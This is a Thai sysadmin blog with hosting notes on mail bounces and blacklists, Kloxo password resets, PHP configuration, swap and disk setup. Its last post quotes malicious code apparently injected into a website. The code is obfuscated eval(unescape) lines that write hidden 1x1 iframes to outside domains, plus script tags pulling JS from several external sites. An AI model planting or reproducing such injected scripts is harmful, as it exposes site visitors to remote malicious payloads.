ก๊วนซอฟท์แวร์ </softganz> SoftGang (Gang Software)

Web &amp; Software Developer Gang.

Topic List

โดย Little Bear on 30 มี.ค. 55 01:23
  • ส่งไป yahoo.com ได้
  • ส่งไป hotmail.com ได้บ้าง ไม่ได้บ้าง ตีกลับบ้าง
  • ส่งไป gmail.com ไม่ได้เลย ตีกลับตลอด

ข้อความตีกลับมา ก็ประมาณนี้ :

This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: xxx@gmail.com     SMTP error from remote mail server after end of data:
    host gmail-smtp-in.l.google.com [209.85.225.27]:
    550-5.7.1 [202.129.16.49] The IP you're using to send mail is not authorized to
    550-5.7.1 send email directly to our servers. Please use the SMTP relay at your
    550-5.7.1 service provider instead. Learn more at
    550 5.7.1 http://support.google.com/mail/bin/answer.py?answer=10336 pa2si6663151igc.55 ------ This is a copy of the message, including all the headers. ------ Return-path:
Received: from localhost ([127.0.0.1] helo=www.napradu.go.th)
by s1.myhost.com with esmtpa (Exim 4.73)
(envelope-from )
id 1SDI7B-0006cP-5q
for xxx@gmail.com; Thu, 29 Mar 2012 23:22:21 +0700
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
format=flowed
Content-Transfer-Encoding: 7bit
Date: Thu, 29 Mar 2012 23:22:20 +0700
From: xxx@xxx.go.th
To:
Subject: =?UTF-8?Q?=E0=B8=97=E0=B8=94=E0=B8=AA=E0=B8=AD=E0=B8=9A=E0=B8=88?= =?UTF-8?Q?=E0=B8=B2=E0=B8=81=20softganz?=
Message-ID: <7f8a6ee0134f08296fbcd88e7b9deb7a@napradu.go.th>
X-Sender: xxx@xxx.go.th
User-Agent: Roundcube Webmail/0.7.2 Test

เท่าที่คาดไว้ สาเหตุ

  1. CAT เปลี่ยนอะไรบางอย่าง ทำให้ต้องกำหนดค่า Reverse DNS (จากเดิมที่เคยส่งเมล์ได้เป็นปกติ) ก็เลยติดต่อไปทาง CAT แจ้งข้อมูลไป แล้วก็คอยอีก 2-3 วัน ได้ทราบว่ามีการกำหนดให้แล้ว ลองตรวจดูกับ www.mxtoolbox.com ปรากฏว่าเรียบร้อย แต่ก็ยังส่งไม่ผ่านอยู่ดี

  2. อาจจะติด Black list เลยตรวจดูกับ ip-blacklist.e-dns.org ปรากฏว่าติดอยู่ 4 ที่ คือ Software Group Blackholes , APEWS Level 2 , Spamhaus PBL Policy Block List , Spamhaus ZEN Combined Block List ตัวที่คาดว่าอาจจะมีปัญหาคือ Spamhaus PBL Policy Block List

  3. ลองเข้าไปตรวจสอบดูที่ Spamhaus PBL Policy Block List อ่านได้ความประมาณว่า IP เราเป็น IP Dynamic ซึ่งเป็น IP ที่ไม่สามารถส่งเมล์ออกได้ เลยทำการขอลบ IP ออก แล้วคอยอีกประมาณ 1 ชั่วโมง

  4. ก็เริ่มจะส่งได้ hotmail.com ไปเข้า junk mail , gmail.com ไปเข้า junk mail ก็ยังดีที่ไม่โดน reject

โดย Little Bear on 10 มี.ค. 55 21:35

Kloxo admin password login:ง่าย ๆ คือ

sh /script/resetpassword master {newpassword}

หรือ ยาก ๆ

How to reset a Kloxo or LxAdmin password from SSH

When your VPS is installed by us with lxadmin the password will be the same as what you asked for on setup.

If not try "admin"

Note: if you reinstall yourself it will also be "admin"

If you still can't login:

Login via SSH

cd /usr/local/lxlabs/lxadmin/httpdocs

/usr/bin/lphp.exe  ../bin/common/resetpassword.php master

Now try your password again.

If you still can't get it to work, create a support ticket.

ที่มา LxCenter , ZanyHost Ltd

โดย Little Bear on 10 มี.ค. 55 11:04

ftp> put "|tar cfz - /var/lib/mysql" backup.tar.gz

ที่มา directadmin.com , webmasters-central.com

โดย Little Bear on 1 ก.พ. 55 14:08

ปัญหา : เวลาเปลี่ยน PHP Config แล้วจะมีการเขียนลงไน .htaccess แต่ค่าที่เขียน ไม่ใช่ค่าที่ถูกต้อง มันไปเอาค่า phpvalue uploadmax_filesize 2M มาจากไหนก็ไม่รู้เขียนลงไป ปัญหาเลยเกิด

คำแนะนำ (อย่างใดอย่างหนึ่ง)

  1. แก้ไขเองในไฟล์ /usr/local/lxlabs/kloxo/file/phpini/htaccesstemp เป็น phpvalue uploadmax_filesize 128M

  2. มันเป็น bug ของ Kloxo If a client changes advanced PHP settings, then the website gives a blank page ลองแล้ว ไม่หาย

  3. ลบไฟล์ /usr/local/lxlabs/kloxo/file/phpini/htaccesstemp ทิ้งไปเสียเลย มันจะได้เอาค่าจากการตั้งของ admin มาใช้ แต่จะทำให้ไม่สามารถกำหนดให้กับแต่ละโดเมนได้

ที่มา admin PHP config is not applied to all customers , If a client changes advanced PHP settings, then the website gives a blank page , Clients can edit php configuration

Keyword : .htaccess was change after click Advanced php config on Kloxo , Google

โดย Little Bear on 24 พ.ย. 54 02:38

มีคนแนะนำว่าให้เลิกใช้ swap หาก RAM หมด ก็ปล่อยให้มันเดี้ยง ดีกว่าให้มันเขียนลง swap วันนี้ก็เลยลองของสักหน่อย พรุ่งนี้ก็จะรู้ผล

วิธีการคือ

ปิดมันทุก swap

root@god# swapoff -a

ปิด swap เฉพาะ

root@god# swapoff /dev/partition

โดยดู partition จาก

root@god# fdisk -l

หากอยากให้ปิดถาวรก็ต้องแก้ไขใน /etc/fstab

โดย Little Bear on 20 ก.ย. 54 22:25

ตอนนี้ server มีปัญหาเรื่อง Load ในบางช่วงที่สูงผิดปกติ แต่ยังหาสาเหตุไม่เจอ

คุณ icez เขียนเรื่อง เครื่องมือดูสถานะระบบอย่างละเอียด (centos) ไว้ที่ thaihosttalk.com เลยขอเอาลิงก์มาเก็บไว้ก่อน ไว้ค่อยเขียนรายละเอียดอีกที

โดย Little Bear on 4 ส.ค. 54 14:13

suPHP และ PHP cgi ไม่สามารถเปลี่ยนค่า config โดย .htaccess ได้ จึงต้องใช้วิธีการเพิ่ม config โดยให้ php ไปอ่านจากไฟล์เพิ่มเติม

เริ่มด้วยการสร้างไฟล์ php.ini ไว้ใน /usr/local/directadmin/data/users/(username)/php/php.ini

แล้วเพิ่มใน Apache ว่า

SetEnv PHP_INI_SCAN_DIR /usr/local/directadmin/data/users/|USER|/php/

ที่มา DirectAdmin

โดย Little Bear on 27 ก.ค. 54 14:57

Enter /usr/local/directadmin/custombuild ("cd /usr/local/directadmin/custombuild").

If you use PHP5 CLI, create the directory custom/ap2 ("mkdir -p custom/ap2"), then copy configure/ap2/configure.php5 to custom/ap2/configure.php5.

If you use PHP5 CGI, create the directory custom/suphp ("mkdir -p custom/suphp"), then copy configure/suphp/configure.php5 to custom/suphp/configure.php5.

Open the copied file and add "--enable-exif" to the list. Remember that there must be a "\" at the very end of every line but the last one.

Reinstall php ("./build php n").Thanks for your help, that did the trick! Now I now this for the next time when I need to enable or install an plugin:)Thanks again!

ที่มา : DirectAdmin

โดย Little Bear on 22 ก.ค. 54 21:46

นาน ๆ ถึงจะได้ทำสักที ขอนำมาเก็บไว้ก่อนก็แล้วกัน

  1. ทำการเพิ่ม HDD ถ้าระบบรองรับ hotswap ก็เสียบเข้าไปเลยไม่ต้อง shutdown แต่ถ้าไม่รองรับหรือไม่มี hdd bay แบบเสียบได้เลยก็คงต้องปิดเครื่องก่อนแหละ

  2. เมื่อเพิ่ม hdd เสร็จแล้ว ก็เปิดเครื่อง login เข้า root (ตอน boot อาจจะแวะเข้า bios ตรวจสอบว่าระบบมองเห็น hdd ที่เพิ่มเข้าไป)

  3. โดยปกติ hdd ที่เพิ่มเข้าไปก็จะเป็น sdb หรือ sdc สำหรับลูกที่ 2 และ 3 ตามลำดับ

  4. สร้าง partition ด้วยคำสั่ง fdisk

    root@god# fdisk /dev/sdb
    กด p ดู partition ที่มีอยู่ ปกติ hdd ใหม่จะไม่มี partition แต่บางตัวก็จะมี utility partition ขนาดเล็กๆอยู่ ถ้ามีก็ลบออก แล้วสร้าง partition ตามต้องการ

    • d ลบ partition
    • n สร้าง partition
    • t กำหนด type ของ partition เสร็จแล้วกด w เพื่อบันทึก และออกจากโปรแกรมด้วย q
  5. format partiton ที่สร้างขึ้นใหม่

    root@god# mke2fs -j /dev/sdb1
    หรือ
    root@god# mkfs -t ext3 /dev/sdb1

  6. mount partition เข้าระบบ

    root@god# mkdir /backup
    root@god# mount /dev/sdb1 /backup
    

  7. อาจจะกำหนด label ให้ partition ที่สร้างใหม่

    root@god# e2label /dev/sdb1 /backup

  8. เพิ่มเข้าไปใน /etc/fstab เพื่อให้ mount ทุกครั้งที่ boot เครื่อง

    /dev/sdb1 /backup ext3 defaults 1 2

    หรืออ้างตามชื่อ label
    LABEL=/backup /backup ext3 defaults 1 2

ที่มา ThaiHostTalk.com - จะเพิ่ม HD ลูกที่ 2 ใน CentOS ต้องทำอะไรบ้างครับ

โดย Little Bear on 17 ก.ค. 54 15:43

โค๊ดเป็นตามนี้

<สคริปท์ >eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%65%64%76%62%2E%63%6F%6D%2F%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));< /สคริปท์> <สคริปท์>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%65%61%63%76%62%2E%63%6F%6D%2F%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));< /สคริปท์ >

และ

<สคริปท์ type="text/javascript" src="http://project-pc.it/jtoolsmini.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://witteveenreclame.nl/cssminibar.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://soorajmull.net/sidename.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://jigneshpatel.co.in/sidename.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://microstart.net/counter.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://9fox.biz/jtoolsmini.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://nicolaszuliani.com.ar/cssminibar.js"> < /สคริปท์> <สคริปท์ type="text/javascript" src="http://eugeniasilva.eu/sidename.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://pointgraphics.ie/counter.js">< /สคริปท์>

ยังไม่ได้ตามดูอย่างละเอียด